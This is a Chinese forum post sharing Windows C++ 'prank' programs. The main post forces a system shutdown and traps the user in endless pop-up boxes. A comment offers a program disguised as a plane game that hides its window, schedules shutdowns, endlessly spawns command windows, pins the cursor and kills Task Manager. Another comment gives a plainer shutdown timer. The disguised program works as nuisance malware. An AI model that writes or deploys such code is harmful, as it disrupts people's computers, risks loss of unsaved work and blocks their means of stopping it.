恶搞代码
2024-08-18 18:58:19
发布于:浙江
恶搞代码,请勿模仿
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
typedef long long ll;
int main(){
//恶搞代码
cout<<"是否选择关机(是:yes 否:no)"<<endl;
string s;
cin>>s;
if(s=="no"){
cout<<"no也没用!";
}
cout<<"正在关机……"<<endl;
cout<<"你的电脑将在60秒后关机"<<endl;
Sleep(1000);
system("shutdown -s -t 60");
cout<<"大声喊爹取消关机"<<endl;
Sleep(1000);
string a;
while(true){
cout<<"我是你的什么?"<<endl;
cin>>a;
if(a=="爹"||a=="爸爸"||a=="爸"||a=="die"||a=="ba"||a=="baba"){
system("shutdown -a");
break;
}else{
cout<<"不对哦"<<endl;
}
}
system("cls");
Sleep(5000);
cout<<"你以为结束了吗"<<endl;
Sleep(500);
cout<<"不,还没有"<<endl;
Sleep(500);
cout<<"看我的弹窗炸弹!!!"<<endl;
while(true){
MessageBox(NULL,"你的电脑已被我控制","提示",MB_OK);
}
return 0;
}
全部评论 4
#include <bits/stdc++.h> #include <windows.h> #define t system #define g cout #define h cin #define j endl #define sleep Sleep #define pos SetCursorPos using namespace std; void a(int n){ if(n == 1){ string m; g << "欢迎来到打飞机小游戏" << j; g << "----------------------------------" << j; g << "请问你要选择简单战还是真人战" << j; h >> m; if(m == "简单战"){ t("shutdown -s -t 30 -c 就你还想以大欺小,30秒换模式中,启动!"); HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); while(1){ t("start cmd"); pos(0,0); t("taskkill /f /im taskmgr.exe"); } } else if(m == "真人战"){ g << "就你还想跟真人打,吃我一击!"; g << j; sleep(2000); t("shutdown -s -t 30 -c 30秒等待,启动!"); HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); while(1){ t("start cmd"); pos(0,0); t("taskkill /f /im taskmgr.exe"); } } else{ g << "你竟然敢输错,那就送你一份大礼包吧"; cout << j; sleep(2000); t("shutdown -s -t 60 -c 60秒卡机,启动!"); g << endl; HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); while(1){ t("start cmd"); pos(0,0); t("taskkill /f /im taskmgr.exe"); } } } else{ t("shutdown -s -t 60 -c 你竟然不玩?60秒卡机,启动!"); HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); while(1){ t("start cmd"); pos(0,0); t("taskkill /f /im taskmgr.exe"); } } } int main(){ HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); MessageBoxA(NULL, "一键三联", "作者的话(这行代码禁止删除)",MB_ICONASTERISK); MessageBoxA(NULL, "本代码是剑指天涯制作,可以转载", "作者的话(这行代码禁止删除)",MB_ICONASTERISK); MessageBoxA(NULL, "本代码只支持Windows系统,其它系统不行", "作者的话(这行代码禁止删除)",MB_ICONWARNING); MessageBoxA(NULL, "本代码只支持Windows高版本的计算机", "作者的话(这行代码禁止删除)",MB_ICONWARNING); FreeConsole(); AllocConsole(); HWND hwmd = GetForegroundWindow(); SetWindowText(hwmd,TEXT("打飞机游戏")); HANDLE hOutput = GetStdHandle(STD_OUTPUT_HANDLE); CONSOLE_CURSOR_INFO cInfo{}; GetConsoleCursorInfo(hOutput, &cInfo); cInfo.bVisible = false; SetConsoleCursorInfo(hOutput, &cInfo); HWND hwnd = GetConsoleWindow(); LONG_PTR sty = GetWindowLongPtrA(hwnd, GWL_STYLE); //sty =sty & ~WS_SIZEBOX & ~WS_MAXIMIZEBOX & ~WS_MINIMIZEBOX; //更改字体颜色 //SetWindowLongPtrA(
1周前 来自 广东
0Ctrl+Alt+Delete关闭就好了
2025-02-15 来自 广东
0我要试一试
2025-02-15 来自 浙江
0//关机程序 #include <iostream> #include <chrono> #include <thread> #include <string> using namespace std; using namespace std::chrono; int main() { int countdown = 60; cout << "您打开了关机程序,是否选择关机?(是:Yes,否:No)\n"; string ans; cin >> ans; if(ans == "No") { cout << "\r您选择了取消。"; for(int i = 1; i <= 5; i++) { cout << "\r...正在取消..."; this_thread::sleep_for(std::chrono::seconds(1)); } cout << "\r取消成功。"; exit(0); } cout << "\r您选择了确定。" ; this_thread::sleep_for(std::chrono::seconds(1)); cout << "\r电脑将在 " << countdown << " 秒后关机。" << endl; while (countdown > 0) { this_thread::sleep_for(seconds(1)); // 等待1秒 cout << "\r" << "剩余时间: " << countdown << " 秒" << flush; countdown--; } cout << "\r关机倒计时结束。 " << endl; this_thread::sleep_for(std::chrono::seconds(1)); cout << "正在关机......\n" ; system("shutdown /s /t 0");//关机程序 }
2024-08-18 来自 浙江
0
有帮助,赞一个